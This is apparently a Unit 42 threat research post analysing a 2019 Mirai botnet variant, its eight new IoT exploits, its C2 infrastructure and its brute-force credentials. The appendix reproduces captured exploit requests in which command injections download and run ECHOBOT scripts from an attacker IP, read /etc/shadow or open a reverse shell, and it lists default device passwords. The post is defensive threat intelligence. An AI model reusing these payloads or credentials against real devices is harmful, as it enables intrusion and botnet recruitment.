[![Logo](https://www.paloaltonetworks.com/wp-content/uploads/2021/07/PANW_Parent.png)](https://www.paloaltonetworks.com/) [![Unit42 Logo](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/unit42-logo-white.svg)](https://unit42.paloaltonetworks.com/) Menu * [Tools](https://unit42.paloaltonetworks.com/tools/) * [ATOMs](https://unit42.paloaltonetworks.com/atoms/) * [Security Consulting](https://www.paloaltonetworks.com/unit42) * [About Us](https://unit42.paloaltonetworks.com/about-unit-42/) * [**Under Attack?**](https://start.paloaltonetworks.com/contact-unit42.html) English * [English](https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/) * [Japanese](https://unit42.paloaltonetworks.com/ja/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/) * [Threat Research Center](https://unit42.paloaltonetworks.com "Threat Research") * [Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/ "Threat Research") * [Malware](https://unit42.paloaltonetworks.com/category/malware/ "Malware") [Malware](https://unit42.paloaltonetworks.com/category/malware/) # New Mirai Variant Adds 8 New Exploits, Targets Additional IoT Devices ![Clock Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-clock.svg) 9 min read Related Products [![Advanced Threat Prevention icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced Threat Prevention](https://unit42.paloaltonetworks.com/product-category/advanced-threat-prevention/ "Advanced Threat Prevention")[![Advanced WildFire icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/strata_RGB_logo_Icon_Color.png)Advanced WildFire](https://unit42.paloaltonetworks.com/product-category/advanced-wildfire/ "Advanced WildFire") * ![Profile Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-profile-grey.svg) By: * [Ruchna Nigam](https://unit42.paloaltonetworks.com/author/ruchna-nigam/) * ![Published Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-calendar-grey.svg) Published:June 6, 2019 * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-category.svg) Categories: * [Malware](https://unit42.paloaltonetworks.com/category/malware/) * [Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) * [Vulnerabilities](https://unit42.paloaltonetworks.com/category/vulnerabilities/) * ![Tags Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-tags-grey.svg) Tags: * [CVE-2017-5174](https://unit42.paloaltonetworks.com/tag/cve-2017-5174/) * [CVE-2018-11510](https://unit42.paloaltonetworks.com/tag/cve-2018-11510/) * [CVE-2018-17173](https://unit42.paloaltonetworks.com/tag/cve-2018-17173/) * [CVE-2018-6961](https://unit42.paloaltonetworks.com/tag/cve-2018-6961/) * [CVE-2019-2725](https://unit42.paloaltonetworks.com/tag/cve-2019-2725/) * [CVE-2019-3929](https://unit42.paloaltonetworks.com/tag/cve-2019-3929/) * [Exploits](https://unit42.paloaltonetworks.com/tag/exploits/) * [IoT](https://unit42.paloaltonetworks.com/tag/iot/) * [Linux](https://unit42.paloaltonetworks.com/tag/linux/) * [Mirai](https://unit42.paloaltonetworks.com/tag/mirai/) * [![Download Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-download.svg)](https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/?pdf=download&lg=en&_wpnonce=c280d701ab "Click here to download") * [![Print Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-print.svg)](https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/?pdf=print&lg=en&_wpnonce=c280d701ab "Click here to print") Share![Down arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/down-arrow.svg) * ![Link Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-share-link.svg) * [![Link Email](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-sms.svg)](mailto:?subject=New%20Mirai%20Variant%20Adds%208%20New%20Exploits,%20Targets%20Additional%20IoT%20Devices&body=Check%20out%20this%20article%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fnew-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices%2F "Share in email") * [![Facebook Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-fb-share.svg)](https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Funit42.paloaltonetworks.com%2Fnew-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices%2F "Share in Facebook") * [![LinkedIn Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-linkedin-share.svg)](https://www.linkedin.com/sharing/share-offsite/?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fnew-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices%2F&title=New%20Mirai%20Variant%20Adds%208%20New%20Exploits,%20Targets%20Additional%20IoT%20Devices "Share in LinkedIn") * [![Twitter Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-twitter-share.svg)](https://twitter.com/intent/tweet?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fnew-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices%2F&text=New%20Mirai%20Variant%20Adds%208%20New%20Exploits,%20Targets%20Additional%20IoT%20Devices "Share in Twitter") * [![Reddit Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-reddit-share.svg)](https://www.paloaltonetworks.com//www.reddit.com/submit?url=https%3A%2F%2Funit42.paloaltonetworks.com%2Fnew-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices%2F&ts=markdown "Share in Reddit") * [![Mastodon Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-mastodon-share.svg)](https://mastodon.social/share?text=New%20Mirai%20Variant%20Adds%208%20New%20Exploits,%20Targets%20Additional%20IoT%20Devices%20https%3A%2F%2Funit42.paloaltonetworks.com%2Fnew-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices%2F "Share in Mastodon") **Executive Summary** Palo Alto Networks Unit 42 has been [tracking](https://unit42.paloaltonetworks.com/tag/mirai/) the evolution of the Mirai malware, known for targeting embedded devices with the primary intent of launching DDoS attacks and self-propagation, since 2016 when it took down several notable targets. As part of this ongoing research, we've recently discovered a new variant of Mirai that has eight new exploits against a wide range of embedded devices. These newly targeted devices range from wireless presentation systems to set-top-boxes, SD-WANs, and even smart home controllers. Mirai initially made use of default credentials to gain access to devices. However, since the end of [2017](https://krebsonsecurity.com/2017/10/reaper-calm-before-the-iot-security-storm/), samples of the family have increasingly been observed making use of publicly available exploits to propagate and run on vulnerable devices. 2018 saw a continued [increase](https://unit42.paloaltonetworks.com/unit42-iot-malware-evolves-harvest-bots-exploiting-zero-day-home-router-vulnerability/) in the emergence of [campaigns](https://blog.paloaltonetworks.com/2018/07/unit42-finds-new-mirai-gafgyt-iotlinux-botnet-campaigns/) involving variants incorporating several exploits within the same sample, allowing for the harvesting of several different kinds of IoT devices into the same botnet. Since then we have also observed Mirai malware authors experimenting with [new](https://unit42.paloaltonetworks.com/new-mirai-variant-targets-enterprise-wireless-presentation-display-systems/) [exploits](https://unit42.paloaltonetworks.com/unit42-multi-exploit-iotlinux-botnets-mirai-gafgyt-target-apache-struts-sonicwall/), found on the publicly available exploit-db, to gauge gains in bot count from the use of these exploits. This latest new variant we've observed and detailed in this post appears to be a continuation of the same trend. **Exploits** This latest variant contains a total of 18 exploits, 8 of which are new to Mirai. The vulnerabilities being exploited in the wild by this new Mirai variant for the first time are listed below with more details in Table 1 in the Appendix: * [CVE-2019-3929](https://www.exploit-db.com/exploits/46786) * [OpenDreamBox Remote Code Execution](https://www.exploit-db.com/exploits/42293) * [CVE-2018-6961](https://www.exploit-db.com/exploits/44959) * [CVE-2018-7841](https://www.exploit-db.com/exploits/46846) * [CVE-2018-11510](https://www.exploit-db.com/exploits/45200) * Dell KACE Remote Code Execution * [CVE-2017-5174](https://www.exploit-db.com/exploits/41360) * [HooToo TripMate Remote Code Execution](https://www.exploit-db.com/exploits/46143) The new samples also include four exploits which have only been used by Mirai in the past: * [LG Supersign TVs](https://unit42.paloaltonetworks.com/new-mirai-variant-targets-enterprise-wireless-presentation-display-systems/) * WePresent WiPG-1000 Wireless Presentation Systems * [Belkin WeMo devices](https://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-iot-malware-updated-with-mining-and-backdoor-commands-targets-wemo-devices/) * [MiCasaVerde VeraLite Smart Home Controllers](https://www.trendmicro.com/vinfo/gb/security/news/internet-of-things/mirai-variant-spotted-using-multiple-exploits-targets-various-routers) These new samples also include exploits targeting the [Oracle WebLogic Servers RCE vulnerability](https://unit42.paloaltonetworks.com/muhstik-botnet-exploits-the-latest-weblogic-vulnerability-for-cryptomining-and-ddos-attacks/) which has been used by both Linux and Windows botnets. All of the exploits that have already been seen exploited by Mirai in the past have been listed in Table 3 in the Appendix. **Analysis** The new variant we have discovered also has other distinguishing features from the use of the exploits mentioned above. * The encryption key used for the string table is 0xDFDAACFD, which is the equivalent of a byte wise XOR with 0x54, based on the standard encryption scheme (as implemented in the [toggle\_obf](https://github.com/jgamblin/Mirai-Source-Code/blob/6a5941be681b839eeff8ece1de8b245bcd5ffb02/mirai/bot/table.c#L138) function) used in the original Mirai source code. * There are several default credentials used for brute force we have not come across previously in our research (though we cannot confirm this is their first use with Mirai). These are listed in Table 2 in the Appendix along with the devices that make use of them - of note, all of these credentials can be found online. **Infrastructure** The samples were available at an open directory pictured in Figure 1: [![](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/06/Figure-1.-Open-directory-hosting-Mirai-variant.png)](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/06/Figure-1.-Open-directory-hosting-Mirai-variant.png) *Figure 1. Open directory hosting Mirai variant* Samples of this variant use two domains for C2, at different ports in the different versions, as explained below. The latest version makes use of the two domains below for C2. * akuma\[.\]pw :17 * akumaiotsolutions\[.\]pw:912 While the two domains don't currently resolve to any IP, a search on Shodan for the IP address hosting the samples, indicates port 17 at that address was used for C2 at some point of time. This is seen in the response recorded from port 17 in the screenshot which is the expected response from a Mirai C2 server based on how the C2 code is written in the [original source code](https://github.com/jgamblin/Mirai-Source-Code/blob/3273043e1ef9c0bb41bd9fcdc5317f7b797a2a94/mirai/cnc/admin.go). [![](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/06/Figure-2.-Shodan-search-result.png)](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/06/Figure-2.-Shodan-search-result.png) *Figure 2. Shodan search result indicating 31.13.195\[.\]251:17 was used for C2 at one point* The directory hosting the malware was updated a couple of times, before the final version was uploaded at 26-May-2019 10:05 (server time). Each of the updates were minor where the attackers either edited C2 port numbers or slightly updated the payload. File upload times: * 26-May-2019 10:05 * 21-May-2019 16:34 * 21-May-2019 08:38 * 19-May-2019 06:05 The briefly available version from May 21, 2019 at 08:38 made use of the below two domains for C2. They are the same domains as used by the other samples (uploaded on prior or later dates) but the ports are different. * akuma\[.\]pw:1822 * akumaiotsolutions\[.\]pw:721 **Conclusion** This newly discovered variant is a continuation of efforts by Linux malware authors to scout for a wider range and thus, larger number, of IoT devices to form larger botnets thereby affording them greater firepower for DDoS attacks. Based on the results observed by using such variants, the exploits that are more effective i.e. the ones that infect a greater number of devices are retained or reused in future variants whereas the less effective ones are retired or replaced by malware authors with other exploits. Palo Alto Networks customers are protected by: * WildFire which detects all related samples with malicious verdicts * Threat Prevention and PANDB that block all exploits and IPs/URLs used by this variant. AutoFocus customers can track these activities using individual exploit tags: * [CVE-2019-3929](https://autofocus.paloaltonetworks.com/#/tag/Unit42.CVE-2019-3929) * [OpenDreamBox\_RCE](https://autofocus.paloaltonetworks.com/#/tag/Unit42.OpenDreamBox_RCE) * [CVE-2018-6961](https://autofocus.paloaltonetworks.com/#/tag/Unit42.CVE-2018-6961) * [CVE-2018-7841](https://autofocus.paloaltonetworks.com/#/tag/Unit42.CVE-2018-7841) * [CVE-2018-11510](https://autofocus.paloaltonetworks.com/#/tag/Unit42.CVE-2018-11510) * [DellKACE\_SysMgmtApp\_RCE](https://autofocus.paloaltonetworks.com/#/tag/Unit42.DellKACE_SysMgmtApp_RCE) * [CVE-2017-5174](https://autofocus.paloaltonetworks.com/#/tag/Unit42.CVE-2017-5174) * [HooTooTripMate\_RCE](https://autofocus.paloaltonetworks.com/#/tag/Unit42.HooTooTripMate_RCE) * [BelkinWeMoRCE](https://autofocus.paloaltonetworks.com/#/tag/Unit42.BelkinWeMoRCE) * [MiCasaVeraLiteRCE](https://autofocus.paloaltonetworks.com/#/tag/Unit42.MiCasaVeraLiteRCE) * [CVE-2018-17173](https://autofocus.paloaltonetworks.com/#/tag/Unit42.CVE-2018-17173) * [WePresentCmdInjection](https://autofocus.paloaltonetworks.com/#/tag/Unit42.WePresentCmdInjection) * [ASUS\_DSLModem\_RCE](https://autofocus.paloaltonetworks.com/#/tag/Unit42.ASUS_DSLModem_RCE) * [CVE-2019-2725](https://autofocus.paloaltonetworks.com/#/tag/Unit42.CVE-2019-2725) * [NetgearReadyNAS\_RCE](https://autofocus.paloaltonetworks.com/#/tag/Unit42.NetgearReadyNAS_RCE) * [CVE-2014-8361](https://autofocus.paloaltonetworks.com/#/tag/Unit42.CVE-2014-8361) The malware family can be tracked in AutoFocus using the tag [Mirai](https://autofocus.paloaltonetworks.com/#/tag/Unit42.Mirai). **Appendix** |------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | **Vulnerability** | **Affected Devices** | **Exploit Format** | | [CVE-2019-3929](https://www.exploit-db.com/exploits/46786) | Wireless Presentation Systems from [several vendors](https://medium.com/tenable-techblog/eight-devices-one-exploit-f5fc28c70a7c) | POST /cgi-bin/file\_transfer.cgi HTTP/1.1 Content-Type: application/x-www-form-urlencoded file\_transfer=new\&dir='Pa\_Notecd wget http://31.13.195\[.\]251/ECHOBOT.sh; curl -O http://31.13.195\[.\]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195\[.\]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195\[.\]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195\[.\]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.\*Pa\_Note | | [OpenDreamBox Remote Code Execution](https://www.exploit-db.com/exploits/42293) | Devices running OpenDreamBox 2.0.0 - an embedded Linux distribution for Set-Top-Boxes | POST /webadmin/script?command=|wget http://31.13.195\[.\]251/ECHOBOT.sh; curl -O http://31.13.195\[.\]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195\[.\]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195\[.\]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195\[.\]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.\* HTTP/1.1 Content-Length: 630 Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello-World Connection: keep-alive | | [CVE-2018-6961](https://www.exploit-db.com/exploits/44959) | VMware NSX SD-WAN Edge \< 3.1.2 | POST /scripts/ajaxPortal.lua HTTP/1.1 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: application/json, text/javascript, \*/\*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://www.vmware.com Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Cookie: culture=en-us Connection: close destination=8.8.8.8$(wget http://31.13.195\[.\]251/ECHOBOT.sh; curl -O http://31.13.195\[.\]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195\[.\]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195\[.\]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195\[.\]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.\*)\&source=192.168.0.1\&test=TRACEROUTE\&requestTimeout=900\&auth\_token=\&\_cmd=run\_diagnostic name=google.com$(cat /etc/shadow |wget http://31.13.195\[.\]251/ECHOBOT.sh; curl -O http://31.13.195\[.\]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195\[.\]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195\[.\]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195\[.\]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.\*)\&test=DNS\_TEST\&requestTimeout=90\&auth\_token=\&\_cmd=run\_diagnostic destination=8.8.8.8$(cat /etc/shadow |wget http://31.13.195\[.\]251/ECHOBOT.sh; curl -O http://31.13.195\[.\]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195\[.\]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195\[.\]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195\[.\]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.\*)\&source=192.168.0.1\&test=BASIC\_PING\&requestTimeout=90\&auth\_token=\&\_cmd=run\_diagnostic | | [CVE-2018-7841](https://www.exploit-db.com/exploits/46846) | Schneider Electric U.motion LifeSpace Management Systems | POST /smartdomuspad/modules/reporting/track\_import\_export.php HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: PHPSESSID=l337qjbsjk4js9ipm6mppa5qn4 Content-Type: application/x-www-form-urlencoded Content-Length: 86 op=export\&language=english\&interval=1\&object\_id=\\x60wget http://31.13.195\[.\]251/ECHOBOT.sh; curl -O http://31.13.195\[.\]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195\[.\]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195\[.\]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195\[.\]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.\*\\x60 | | Dell KACE Remote Code Execution | Dell KACE Systems Management Appliances | POST /service/krashrpt.php HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8 Accept: / User-Agent: Hello-World Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: kboxid=r8cnb8r3otq27vd14j7e0ahj24 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 37 kuid=\\x60id | wget http://31.13.195\[.\]251/ECHOBOT.sh; curl -O http://31.13.195\[.\]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195\[.\]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195\[.\]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195\[.\]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.\*\\x60 | | [CVE-2017-5174](https://www.exploit-db.com/exploits/41360) | Geutebrück IP Cameras | POST /uapi-cgi/viewer/testaction.cgi HTTP/1.1 Content-Length: 630 Accept-Encoding: gzip, deflate ip: eth0 1.1.1.1; wget http://31.13.195\[.\]251/ECHOBOT.sh; curl -O http://31.13.195\[.\]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195\[.\]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195\[.\]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195\[.\]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.\* Accept: / User-Agent: Hello-World Connection: keep-alive | | [HooToo TripMate Remote Code Execution](https://www.exploit-db.com/exploits/46143) | HooToo TripMate Routers | POST /protocol.csp?function=set\&fname=security\&opt=mac\_table\&flag=close\_forever\&mac=|wget http://31.13.195\[.\]251/ECHOBOT.sh; curl -O http://31.13.195\[.\]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195\[.\]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195\[.\]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195\[.\]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.\* HTTP/1.1 Content-Length: 630 Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello-World Connection: keep-alive | | [CVE-2018-11510](https://www.exploit-db.com/exploits/45200) | Asustor NAS Devices | ![](https://unit42.paloaltonetworks.com/wp-content/uploads/2020/06/Code.png) | *Table 1. New exploits used in the Mirai variant* |-----------------------------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | **Default Credentials** | **Affected Device(s)** | | blueangel/blueangel root/abnareum10 root/Admin@tbroad root/superuser | [Blue Angel Software Suite](https://packetstormsecurity.com/files/152720/Blue-Angel-Software-Suite-Command-Execution.html), an application that runs on embedded devices for VOIP/SIP services | | admin/wbox123 | [WBOX](https://www.wboxtech.com/content/files/product_categories/ip_cameras/IPC-NVR-DVR-secure-activation.pdf) IPCameras, NVRs, DVRs | | admin/pfsense | [Netgate pfSense](https://docs.netgate.com/pfsense/en/latest/usermanager/pfsense-default-username-and-password.html), an open source platform for traditional Firewall, VPN and Routing needs | | admin/aerohive | [Aerohive devices](https://thehivecommunity.aerohive.com/s/question/0D50c00006da0wW/default-username-and-password?language=en_US), a networking hardware vendor | | root/awind5885 | [Crestron AirMedia AM-100 Presentation Gateways](https://www.exploit-db.com/exploits/40813) | | hadoop/123456 hadoop/hadoop@123 hadoop/hadoopuser | Hadoop instances | | root/ikwd | Toshiba IP Cameras | *Table 2. Unusual default credentials used in the Mirai variant* |-------------------------------------------------------------|---|---|---|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | **Vulnerability** || **Affected Devices** || **Exploit Format** | | [CVE-2019-2725](https://nvd.nist.gov/vuln/detail/CVE-2019-2725) || Oracle WebLogic Servers || POST /\_async/AsyncResponseServiceHttps HTTP/1.1 Accept-Encoding: gzip, deflate Accept: \*/\* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) User-Agent: Hello-World Connection: close Content-Type: text/xml \ \xx\ \xx\ \ xmlns:work=http://bea.com/2004/06/soap/workarea/\> \ \\\cmd\\\\wget http://31.13.195\[.\]251/ECHOBOT.sh; curl -O http://31.13.195\[.\]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195\[.\]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195\[.\]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195\[.\]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.\*\\\\\\\\\\\ NB: The exploit is faulty and will not work due to an incorrect URL | | [CVE-2018-17173](https://www.exploit-db.com/exploits/45448) | LG Supersign TVs || GET /qsrserver/device/getThumbnail?sourceUri="+-;rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f+|+/bin/sh+-i+2\>\&1+|+;wget http://31.13.195\[.\]251/ECHOBOT.sh; curl -O http://31.13.195\[.\]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195\[.\]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195\[.\]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195\[.\]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.\*; \>/tmp/f ;\&targetUri=/tmp/thumb/test.jpg\&mediaType=image\&targetWidth=400\&targetHeight=400\&scaleType=crop\&=1537275717150 HTTP/1.1 Content-Length: 630 Accept-Encoding: gzip, deflate User-Agent: Hello-World Host: 192.168.0.1:9080 Connection: keep-alive || | [WePresent Command Injection](https://www.exploit-db.com/exploits/41935) || WePresent WiPG-1000 Wireless Presentation systems || POST /cgi-bin/rdfs.cgi HTTP/1.1 Host: 192.168.0.1:80 application/x-www-form-urlencoded Content-Length: 1024 Client=;wget http://31.13.195\[.\]251/ECHOBOT.sh; curl -O http://31.13.195\[.\]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195\[.\]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195\[.\]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195\[.\]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.\*;\&Download=submit | | [ASUS DSL Modem Remote Code Execution](https://www.exploit-db.com/exploits/45135) || ASUS DSL-N12E\_C1 1.1.2.3\_345 || GET /Main\_Analysis\_Content.asp?current\_page=Main\_Analysis\_Content.asp\&next\_page=Main\_Analysis\_Content.asp\&next\_host=www.target.com\&group\_id=\&modified=0\&action\_mode=+Refresh+\&action\_script=\&action\_wait=\&first\_time=\&applyFlag=1\&preferred\_lang=EN\&firmver=1.1.2.3\_345-g987b580\&cmdMethod=ping\&destIP=wget http://31.13.195\[.\]251/ECHOBOT.sh; curl -O http://31.13.195\[.\]251/ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp 31.13.195\[.\]251 -c get ECHOBOT.sh; chmod 777 ECHOBOT.sh; sh ECHOBOT.sh; tftp -r ECHOBOT2.sh -g 31.13.195\[.\]251; chmod 777 ECHOBOT2.sh; sh ECHOBOT2.sh; ftpget -v -u anonymous -p anonymous -P 21 31.13.195\[.\]251 ECHOBOT1.sh ECHOBOT1.sh; sh ECHOBOT1.sh; rm -rf ECHOBOT.\*\&pingCNT=5 HTTP/1.1 Host: 192.168.0.1:80 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 Connection: keep-alive User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_11\_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36 